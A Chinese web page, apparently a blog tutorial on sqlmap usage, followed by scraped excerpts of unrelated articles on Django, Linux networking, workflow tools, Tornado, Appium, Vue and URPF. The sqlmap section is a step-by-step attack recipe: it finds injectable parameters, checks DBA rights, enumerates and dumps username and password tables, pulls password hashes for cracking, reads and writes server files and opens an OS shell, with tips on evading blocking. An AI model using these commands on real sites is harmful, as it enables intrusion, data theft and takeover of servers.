sqlmap简单流程使用

-u “(url)”

1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

如果支持注入,sqlmap会显示存在什么样的注入类型如果知道什么卡类型数据库可以指定--dbms=mysql oracle mssql等然后查看一下是否是DBA
sqlmap -u "url" --is-dba如果是dba权限比较大我们可以执行一些命令或者上传一下shell。

看一下用户名sqlmap -u "url" --current-user

查看一下都有什么数据库sqlmap -u "url" --dbs如果权限很大可以跨库查询

查看一下当前使用的数据库sqlmap -u "url" --current-db

查看一下这个数据库的表名sqlmap -u "url" -D datebase --tables保存用户名密码的表名可能是admin password  user admin_user system manage member等

查看一下列名sqlmap -u "url" -D datebase -T table --columns

查看一下数据sqlmap -u "url" -D datebase -T table -C username,password --dump上面为简单使用

我们可以查看一下数据库都有什么用户sqlmap -u "url" --users

可以查看当前数据库用户的密码sqlmap -u "url" --passwords可以选择保存hashes数据用外部程序爆破密码或者选择自带字典或者别的目录的字典用sqlmap来爆破密码

可以查看一下用户的权限(能够执行什么命令)sqlmap -u "url" --privileges

查看一下数据库的架构sqlmap -u "url" --schema --batch --exclude-sysdbs

-v 显示调试信息 7个级别0 只显示python错误以及严重的信息1 同时显示基本信息和警告信息 (默认)2 同时显示debug信息3 同时显示payload4 同时显示http请求5 同时显示http响应头信息6 同时显示http相应页面

测试语句可以在xml\payloads.xml中找到可以研究一下

-m 制定url列表文件

参数 --common-tables 当时用--tables无法获取数据库表时,可以使用此参数适用于下列情况mysql版本低于5.0没有information_schema表数据库是microsoft Access 系统表MSysObjects是不可读的(默认)当前用户没有权限读取系统中保存数据结构的表的权限。暴力破解的表在/txt/common-tables.txt中,可以自己添加

--common-columns 同上 用于列名

cookie 注入sqlmap -u"cookie.sql.com/test.php" --cookie "id=11" --level 2 url中参数加在cookie参数后面 level最少指定2HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。

post表单sqlmap -u "url" --formsqlmap -u "url" --date "username=123&password=123" (hackbar获取)

请求延迟 请求过快可能被封--delay=5

文件操作读写--file-read=""--file-write=""

命令执行sql--sql-query="语句"--sql-shell 返回一个shell系统命令执行--os-cmd--os-shell

--tamper 加载脚本

 
 
 
 
时间: 2025-01-11 14:53:55

sqlmap简单流程使用的相关文章

django入门 -- 简单流程

django入门 -- 简单流程 这里简单的演示完成一个 django 大概流程,后面会有详细解释 搭建开发环境 以下使用的是 ubuntu 系统 在生产环境中,有的时候,我们开发的项目可能用的是几个不同的 环境,所以通常我们会创建虚拟环境,在虚拟环境中安装我们需要的 配置,这里从配置虚拟环境开始 创建虚拟环境 创建:mkvirtualenv [虚拟环境名称] 删除:rmvirtualenv [虚拟环境名称] 进入:workon [虚拟环境名称] 退出:deactivate 所有的虚拟环境,都位

Linux内核网络报文简单流程

转:http://blog.csdn.net/adamska0104/article/details/45397177 Linux内核网络报文简单流程2014-08-12 10:05:09 分类: Linux linux下的网卡驱动中通常会提供类似XXX_rx的接收函数 该函数处理与具体硬件相关的寄存器操作 包括中断检查,数据状态检查,错误检查等 在确认有数据抵达后读取数据或从DMA的接收环中获取数据地址 XXX_rx函数以skb为元数据结构组织报文数据 随后调用内核接口函数netif_rx或n

JEPLUS之简单流程创建——JEPLUS软件快速开发平台

JEPLUS之简单流程创建 在我们平时的业务场景必不可少的就是工作流,这篇我来带大家创建一个简答的请假审批的流程. 一.效果展示 二.效果展示 1.平台功能--工作流引擎-新建流程 新建流程--我们在编辑区中选择好直接拖动到合适位置就可以 当我们在表单填写完毕之后我们就开始流程大概的过程就是  开始--申请人--领导审批--结束我们需要在合适的节点上添加上独有的功能之后就可以实现了. 申请人--按照角色来处理 领导审批时按照--先按角色--后按照部门来 这样的创建之后我们就实现了简单的请假流程.

tornado和异步IO的基本简单流程原理

tornado #建立连接 from tornado.httpclient import AsyncHTTPClient #发送请求 from tornado.httpclient import HTTPRequest #事件循环 from tornado import ioloop #接收的次数 REV_COUNTER = 0 #请求的次数 REQ_COUNTER = 0 def handle_response(reponse): """ 处理返回值内容(需要维护计数器,来

Activiti实战04_简单流程

在Activiti实战03_Hello World中我们介绍了一个中间没有任何任务的流程,实现了流程的部署与查阅,而在本章中,将会为流程添加任务节点,是流程能够像个流程,变得更加丰满起来. 在上一节的基础上,我门将会为流程添加实际业务使其能够正常工作起来,先模拟一个很简单的请假流程. 首先,在上一节的流程图中为流程添加一个用户任务(userTask)来处理申请,根据申请内容来决定运行申请还是驳回申请.流程图如下: 代码清单,由于篇幅的原因,这里就不在列出任务的坐标位置等信息 <?xml vers

【H3 BPM工作流程管理产品小故事】第一篇 配置简单流程

某天,Boss找到了信息部工程师小明.Boss:咱们新上了H3 BPM,你研究研究把现在的采购申请流程加上去吧,这是采购申请单.小明:好嘞 采购申请单 小明回去后拿着表单想了想,开始着手配置.他找到了 "后台系统-流程模型"模块.首先建立了目录"物资"(小明:万一BOSS明天想把报废也加进来呢),在"物资"目录下建立了流程"采购申请".系统自动在流程下创建了3个子目录:数据模型.默认表单.采购申请. 流程菜单 接下来小明看不懂

Appium的测试简单流程

1.环境的搭建:jdk,SDK,appium,手机模拟器(夜神模拟器) 2.appium的运作流程图: 图中的流程步骤简单来说是: 1.测试脚本写入appium: 2.appium创建连接,将脚本利用http传给手机端: 3.运行信息返回给appium: 4.断开连接: 3.测试中建立连接的步骤需配置的参数: (1) deviceName:用adbshell(基于SDK的APP)运行命令获取设备名字:adb devices: (2) platformName:一般分为Android和ios: (

vue 构建项目简单流程

一: vue init webpack-simple#1.0 vue-project cd vue-project npm install npm run dev 淘宝镜像npm install -g cnpm --registry=https://registry.npm.taobao.org vue init webpack vue-projectvue init webpack-simple vue-project //推荐这个方法 cd vue-project cnpm install

URPF 简单流程

主要功能是防止基于源地址欺骗的网络攻击. 路由器接口一旦使能URPF功能,当该接口收到数据报文时,首先会对数据报文的源地址进行合法性检查,对于源地址合法性检查通过的报文,才会进一步查找去往目的地址的转发表项,进入报文转发流程:否则,将丢弃报文. URPF检查分为严格(strict)和松散性(loose)两种. 严格型:不但要求路由器的转发表中存在去往报文源地址的路由,还要求报文的入接口与转发表中去往源地址路由的出接口一致,只有同时满足上述两个条件的报文才被认为是合法报文.对非对称路径下严格型检查